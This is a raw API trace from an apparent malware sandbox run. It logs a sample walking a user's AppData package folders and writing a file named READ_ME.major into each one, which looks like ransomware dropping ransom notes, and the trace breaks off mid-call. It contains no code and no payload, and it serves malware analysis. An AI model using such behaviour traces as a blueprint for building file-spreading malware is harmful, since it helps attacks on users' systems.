[0188.692] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0188.701] WriteFile (in: hFile=0x8ec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.702] CloseHandle (hObject=0x8ec) returned 1 [0188.702] FindNextFileW (in: hFindFile=0x6617b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.702] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0188.703] WriteFile (in: hFile=0x8ec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.704] CloseHandle (hObject=0x8ec) returned 1 [0188.704] FindNextFileW (in: hFindFile=0x6617b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.704] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0188.706] WriteFile (in: hFile=0x8ec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.707] CloseHandle (hObject=0x8ec) returned 1 [0188.707] FindNextFileW (in: hFindFile=0x6617b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.707] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0188.708] WriteFile (in: hFile=0x8ec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.709] CloseHandle (hObject=0x8ec) returned 1 [0188.709] FindNextFileW (in: hFindFile=0x6617b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223fac67, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x223fac67, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.709] FindNextFileW (in: hFindFile=0x6617b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.709] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0188.710] WriteFile (in: hFile=0x8ec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.711] CloseHandle (hObject=0x8ec) returned 1 [0188.711] FindNextFileW (in: hFindFile=0x6617b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.711] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0188.713] WriteFile (in: hFile=0x8ec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.714] CloseHandle (hObject=0x8ec) returned 1 [0188.714] FindNextFileW (in: hFindFile=0x6617b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0188.714] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0188.714] WriteFile (in: hFile=0x8ec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.715] CloseHandle (hObject=0x8ec) returned 1 [0188.715] FindNextFileW (in: hFindFile=0x6617b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.715] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0188.716] WriteFile (in: hFile=0x8ec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.717] CloseHandle (hObject=0x8ec) returned 1 [0188.717] FindNextFileW (in: hFindFile=0x6617b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.717] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236d6f79, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4774ad5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6617f0 [0188.717] FindNextFileW (in: hFindFile=0x6617f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236d6f79, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4774ad5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.717] FindNextFileW (in: hFindFile=0x6617f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2385473f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3588116b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3588116b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.717] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0188.719] WriteFile (in: hFile=0x8f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.720] CloseHandle (hObject=0x8f0) returned 1 [0188.720] FindNextFileW (in: hFindFile=0x6617f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23795cbb, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce70eff9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x23795cbb, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.721] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0188.722] WriteFile (in: hFile=0x8f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.723] CloseHandle (hObject=0x8f0) returned 1 [0188.723] FindNextFileW (in: hFindFile=0x6617f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236fd1e4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce70f877, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x236fd1e4, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.724] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0188.724] WriteFile (in: hFile=0x8f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.725] CloseHandle (hObject=0x8f0) returned 1 [0188.725] FindNextFileW (in: hFindFile=0x6617f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236d6f79, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce71002c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x236d6f79, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.725] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0188.727] WriteFile (in: hFile=0x8f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.728] CloseHandle (hObject=0x8f0) returned 1 [0188.728] FindNextFileW (in: hFindFile=0x6617f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223fac67, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x223fac67, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.728] FindNextFileW (in: hFindFile=0x6617f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236d6f79, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce710758, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x236d6f79, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.728] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0188.730] WriteFile (in: hFile=0x8f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.731] CloseHandle (hObject=0x8f0) returned 1 [0188.731] FindNextFileW (in: hFindFile=0x6617f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236fd1e4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7128025e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7128025e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.731] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0188.747] WriteFile (in: hFile=0x8f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.748] CloseHandle (hObject=0x8f0) returned 1 [0188.748] FindNextFileW (in: hFindFile=0x6617f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4584a9e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd4584a9e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd4584a9e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0188.748] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0188.749] WriteFile (in: hFile=0x8f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.750] CloseHandle (hObject=0x8f0) returned 1 [0188.750] FindNextFileW (in: hFindFile=0x6617f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236fd1e4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce82befc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x236fd1e4, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.751] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0188.752] WriteFile (in: hFile=0x8f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.753] CloseHandle (hObject=0x8f0) returned 1 [0188.753] FindNextFileW (in: hFindFile=0x6617f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236fd1e4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce82befc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x236fd1e4, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.753] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f7086bb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x22493712, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661830 [0188.754] FindNextFileW (in: hFindFile=0x661830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f7086bb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x22493712, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.754] FindNextFileW (in: hFindFile=0x661830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f7086bb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f72e917, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f72e917, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.754] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0188.788] WriteFile (in: hFile=0x8f4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | 